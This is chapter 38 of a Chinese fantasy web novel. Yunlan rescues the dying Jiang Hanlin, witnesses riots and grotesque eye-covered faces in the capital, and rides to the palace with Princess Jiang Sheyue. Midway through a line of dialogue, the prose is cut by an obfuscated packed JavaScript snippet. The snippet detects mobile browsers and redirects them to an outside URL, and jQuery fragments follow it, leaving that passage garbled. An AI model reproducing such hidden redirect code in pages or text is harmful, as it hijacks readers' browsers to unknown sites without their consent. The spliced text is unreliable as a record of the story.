38. 第 38 章

    人生的道路上有无数个岔口,其抉择永远指向心中的欲望与诉求,需窥其内心,依照世间规律,便可印见一生之轮廓。


    甬道内,一路走来满是断壁碎石,昭示着方才战况的激烈,红褐色的托痕并未走到尽头。


    “喂。”云岚举着火把往前照去,确认无误后毫不留情地踹了踹,“还活着?”


    原以为能看到师徒反目大打出手互捅刀子,哭着问‘你从未对我有过一丝真情’之类的戏码,没想到最后会是把自己夹在了中间,想来这也算自己的报应吧。


    说实话,她有些失望。


    “啊…”将涵林半靠在墙边,喉咙里是血液涌过干涸,嘶哑刺耳。


    “啧。”云岚把他扛上肩膀,一脚踢开挡在路中的蛇身,往前走去,“杀你那人没那么容易死吧?”


    “嗯。”将涵林动了动手指,“此为乾金,我在震木方留了口子。”


    云岚蹙着眉头一寸寸挪动手指,试着在他身上找到一块干净的布料,尽管有小心翼翼,但仍是极易察觉。


    将涵林缓缓开口:“没想到,会是嫌弃。”


    在他的猜想里,云岚的反应会有诧异、淡漠,又或是愤怒、斥责。


    “我说过,祝你得偿所愿,而且,我不喜欢血。”云岚的探索终以失败告终,这家伙身上没有一块完好的布料,只好叮嘱:“外面还需你交代几句遗言稳住人心,先别死。”


    将涵林应道:“你早知道了。”


    知道什么?知道他今日的死境,还是外面的情况?显然,这两个都不是什么秘密。


    “呵…”云岚勾起唇角,“你又知道些什么?除了你师父的死亡。”


    将涵林道:“朽鳞还巢兴四浪,所以,我杀了他。”


    他杀了谁?


    虞朝今日死了两名高位者,除去他师父…那便是他的父亲。


    云岚陡然失声笑着:“虞朝有你真了不起。”


    这意料之外的事,也算弥补了她先前觉得的索然无味。


    将涵林拖着残息断断续续道:“你想知道命簿的下一句是什么吗?”


    “不想。”云岚咬牙切齿道:“如果你非要说,我现在就把你杀了。”


    将涵林置若罔闻伏肩上低声笑着,这无疑是给云岚心中的火气又添了一把干柴,云岚低声呵斥:“你自己非要找死别拉上我垫背。”


    “咳咳…”快要走到出口,将涵林才止住咳嗽,“这个,给你。”


    “说了别把那什么所谓的命运交给我。”云岚将他拖到树下靠着,拍了拍他的脸颊,“你身上给自己准备的灵丹妙药在哪?”


    天边的火光余晖照亮道观后山,仿若人们无尽的痛苦哀嚎在向她们诉忠求助。


    奈何他已然化作一滩死水任由她人摇晃,云岚着急着往他身上口袋摸去,将涵林最清楚今日凶险异常,云岚不信他毫无准备。


    余光中,将涵林张了张嘴唇,云岚急急扒开他面上凝固着血渍的头发,附耳贴上,“你想说什么?”


    将涵林艰难地掀开眼皮,余光看向地上的火把,喉结滚动,他终是说道:“在手里。”


    云岚暗骂着掰开他的手心,里面是一只赤红的香囊,打开一看,云岚松了口气,还里面除了两张纸条,还有一颗药丸。


    云岚连忙往他嘴边塞去,药丸才刚到口中,将涵林道:“事了之后,你替我看看那张纸条吧。”


    “好好好,你快把药咽下。”


    云岚只能等着他将这一个简单的动作迟缓着做完,才能往火光处奔去。


    每踏过一步她都在祈祷:请再撑一会、再撑一会…撑过这口气,直到黎明到来、尘埃落定,这片土地还需要你,她们都想见到你。


    涉月,你亦如此。


    ———


    远方星星火把将近,传来道友呼唤:“何人在此?可是将师兄?”


    “是!是他!他在这里!”云岚匆匆道:“他快不行了!快带他回去!”


    将涵林,快留下些只言片语。


    来者一人接过将涵林,另一人伸手朝乾坤袋内摸去,皆是哆嗦着手,搞得药瓶散落一地。


    云岚望了一眼天际,想着这边应是不需要自己了,刚准备开口道别,却见其中一人猛然抬手止住———“不用了。”


    “什么?”


    琉璃瓶、银毫针清脆落地,在这片寂静之中。


    “不用了,就是不需要了。”他佝偻着背,双手缓缓垂下,须臾后又似想起什么,他往将涵林身上挪去,整理着每一寸仪容。


    眼泪落下,血渍消融,混浊依旧。


    还是没赶上吗。


    云岚抹了抹脸颊,湿的。这算什么?明明是她看着将涵林踏上死途袖手旁观,在一切都显得毫无意义之际,却仍会落下一点眼泪。


    她脑海中有个声音催促着自己挪动双脚,不要犹豫,不要停留,否则就要错过下一个了。


    “谢谢你。”那人忽然呼声叫住了她。


    “师兄走时没有遗憾,是未言丹告诉我们的。”


    可谓是两腿一蹬无忧无虑。


    她忽然想起锦囊中的两叠纸条,也倒是没彻底昏了头去,她慌忙掏出一看分别写着:


    身后事;


    这张也最好现在看。


    云岚把第二张塞了回去,不用想都知道是什么,真是死了也不安生。


    “这上面的内容或许对你们有用,我先走一步,告辞。”


    /


    “喂!往后退去,往后退去!”


    “可是我家在那里!我为什么不能回去?”


    “说了后退后退!听不见吗?”


    “都说了我家就在里面,我的家人还在里面…”


    风声将所有喧嚣吹散,而后重新揉杂做一团,人潮哗然冲过每个人的面庞与恐慌,长街外是官兵砌做高墙,高墙内是簇簇火海,如烈日一般刺眼。


    人们争先恐后地涌入玄京观,好似这便能获得神明的庇护,扒开人群,云岚反手握住伸来身前的长枪,“将涉月在哪?”


    “我说了…”


    云岚用力一转,刀光赫然印在官兵脸上:“我问你将涉月现在在哪?”


    “打探皇储消息你居心何在!”又一杆银枪上前警告,云岚只以一记眼刀杀回:“好好看看我腰间挂着什么。”


    二人垂眼瞟过一眼立马换了副神色:“原是长公主府中人,楚将军统领的铁浮屠负责城西,长公主应在那里,


    …城内暴民四起,还请当心!”


    云岚来不及等到便已跑远,然而,前来迎接她的是一把飞刃。


    “噔!”的一声,菜刀直直插到了一旁的柱子上,云岚拍着胸脯自我安慰:还好还好,险先因为惯性没刹住。


    她寻着指引直视这番乱世,只见那什么个火把、菜刀、锄头、铲子、椅子、箱子、烟花爆竹等一系常物,被人高高举起、狠狠丢去。


    “为什么,为什么要这样?这里不是你们的家吗?”


    “哈?没了家才好!”


    “都没了、都没了!房贷、税务、粮食都和我无关了?”


    怒吼、质问、狂喜,四周比比皆是。那人的的指甲深深嵌入地里,被官兵拖行着抬起头来的刹那云岚呼吸一滞。


    眼睛,好多眼睛!不…它打开了?两扇叶片…是翅膀,翅膀的顶端还有一排密密麻麻黑得发亮的原点,那是眼睛?


    它长在了人脸之上!


    血肉在它们身下绽开、又接纳了它们的所有,翅膀和闭粉尘落下,光芒流转,是它们在转动。密密麻麻的眼睛正紧紧盯着她,这面有、这一面也有、这一面还有!闭上眼睛,她不得不面对另一个现实——这些东西早将自己劳劳拓在了她的脑海之中。


    恐惧、不安、恶心、厌烦…所有情绪都在被它审视,云岚骤然捂住嘴巴干呕起来,她在心里呐喊——那一颗颗面目全非的肉球,还能算作人脸吗?!


    只一瞬她猛然察觉,心中那些本似蚊痒难耐的情绪被放大了,在无数张面具的审视之下。


    “不,不是。”云岚摇着头,她将自己再次否定。


    藏在面具后之后的愤恨、不甘、怨怼…以及疯狂、无畏,这些才是将她审视的东西。


    一群人的绝望在毁灭中燃烧殆尽,滋生着另一群人的绝望。


    “凭什么,他们凭什么?”


    “没了好,没好了!众生平等、众生平等!”


    众生平等?


    恍惚间,云岚看到了一抹黑色人影。为何他能不疾不徐漫步此间,凭什么他恍若隔岸冷眼旁观?


    云岚跟了上去,并未相隔很远,果不其然,在一阵嘶鸣声中,她们被官兵层层围住了。


    “南伽郃,带着个血人招摇过市,不知道的还以为你是来抵投名状的呢。”


    身后这声音,是将涉月?没想到是这样见到她。


    南伽郃转过身来,耸耸肩:“公主殿下,您要不好好瞧瞧此人是谁?”


    云岚转过身去,只见将涉月白甲红缨高坐马上,安然无恙,她的心也随之安定了几分。


    “你怎么在这?”将涉月被吓了一跳:“你背后的血渍是怎么回事?”


    还是这幅样子。


    南伽郃道:“是啊,明目张胆的跟了一路,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996534|160326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不知道的还以为是来给我抵投名状的呢。”


    云岚轻声道:“他死了,我把他带了出来,见此人神色怀疑,便跟了一路。”


    将涉月并没有犹豫,她仍旧高坐马上,扬手下令:“先带回去,好好看着。”


    云岚仰首望着,仿佛在问:那我呢?


    /


    天将大亮,云岚伏在将涉月肩上,随她乘马往宫内去。


    将涉月道:“我府上也遭了殃,宫内动荡倒是烧的多。”


    云岚看了一眼,宫门已是斑驳不堪,但血迹确实并未过了门当。“将涵林和我说南伽郃重伤,如今安然出现你将他关押,即使对外宣称是为了保护,但只需运作一番,也是送了对方出兵的理由。”


    “是啊,正因他本就是冲这个而来,如今南伽玉白日里出了宫后就下落不明,放了他他也不会回去。”将涉月道:“待会我还需去审他,你先去休息,待外面清扫结束再送你去观里。”


    云岚立马回绝:“我既出了玄京观就没想过回去,审问南伽郃我不能去吗?”


    “可以是可以。”将涉月语中带着些犹豫:“但你有想过留下来之后要去哪里吗?要用回男相吗?”


    这一下问住了云岚,是啊,她能去哪里。


    没了法力,她一个异世之人能在这找到什么位置?她一个以前在屏幕前敲敲打打的社畜,不过因为是吃到时代红利,所以拥有一些先进思想罢了。


    她想,但自己总该做些什么。


    她问:“这次灾祸有难民收容所吗?我可以去打打下手顺带为你笼络一些民心,我也可以去替你解决一些你不方便动手之人。”


    以她身体中原有的格斗技巧和一柄飞剑,应不成问题。


    将涉月道:“可你不是不喜欢沾血吗?”


    “欸?”云岚大惊:“你怎么知道?”


    “这一晚上你都在尽量避开。”


    即使努力克服,但下意识是骗不了人的,


    “这有什么关系。”云岚道:“人人都身不由己,又哪管得上这么多喜恶,只要不是让我去朝堂上和那帮子人谋划周旋,就没什么是不能接受的了。”


    “为什么?”将涉月有些不解:“世人皆对那位置争先恐后,你却想远远避之。”


    若说她所求是九天之上,又为何来插手凡界内务。


    “因为…我小时候经常去乡下,见到过太多与将涵林类似之人,身份虽不如将涵林那般天潢贵胄,但我那时候真的以为,那里上下之人都如同将涵林一般,是为擅自抱有过超过实际的幻想与期待,经现实一打击,就跌在了擅自失望里起不来了。”


    云岚的语速有些缓慢,但也算不得沉重。


    小时候的世界太小,左右不过父母身边,而她恰好活在这么一群人之中,甚至于,她至今都无法得知他们是发自真心,还是仅因为是工作。


    “倒也不必这么说,世界上的一些看似不切实际的期待总需人有坚守,皇兄定会开心的。”这时,将涉月才流露出些许哽咽:“他走的时候,痛苦吗?”


    云岚道:“他走的时候没有遗憾。”


    将涉月叹道:“其实,仅凭朝内也能解开蛊虫,只是制作过程繁琐,其中一味是西部大漠中的七星果,无法远运,如今解药已经在回程的路上了,若没有他借助术法,我们的进展会慢很多。”


    什么嘛,怪不得道慈非要杀他。


    云岚仔细一想,有些不可思议:“你…为何如此坦然?”


    为了救民于水火,却落得一个因道惨死的下场,既得利益者为他鸣冤才是正常的。


    “因为,如果是我,我也会这样做。”将涉月忽然加快马速,云岚顿时大惊,“还在宫里收敛一些啊。”


    若是传出去了,也不知会被文官如何编排个大不逆的罪名。


    “我为将领,最是熟读白衣渡江之后患,为今世之人开此先例,也该为后世之人做些弥补。”将涉月说着,又是扬一鞭:“皇兄铺的路既已到此,我有何走不得?”


    云岚先是一愣,随即不由失声笑道:“你俩是不是在背后编排过我?嗯?”


    那晚将涵林还说着什么来不及,与她讨论着想把将涉月推到皇位之上,如今看来这根本不需要她介入嘛。


    原来,原来,把她拉入局中才是将涵林的真正目的。


    将涉月立马否认:“没有,绝对没有。”


    “真的?”云岚不依不饶,伸手往她腰间挠去,“我不信,你俩绝对编排过我。”


    “别闹,待会从这里摔了去可就麻烦了。”将涉月连连投降:“走吧,我想起有一个位置适合你。”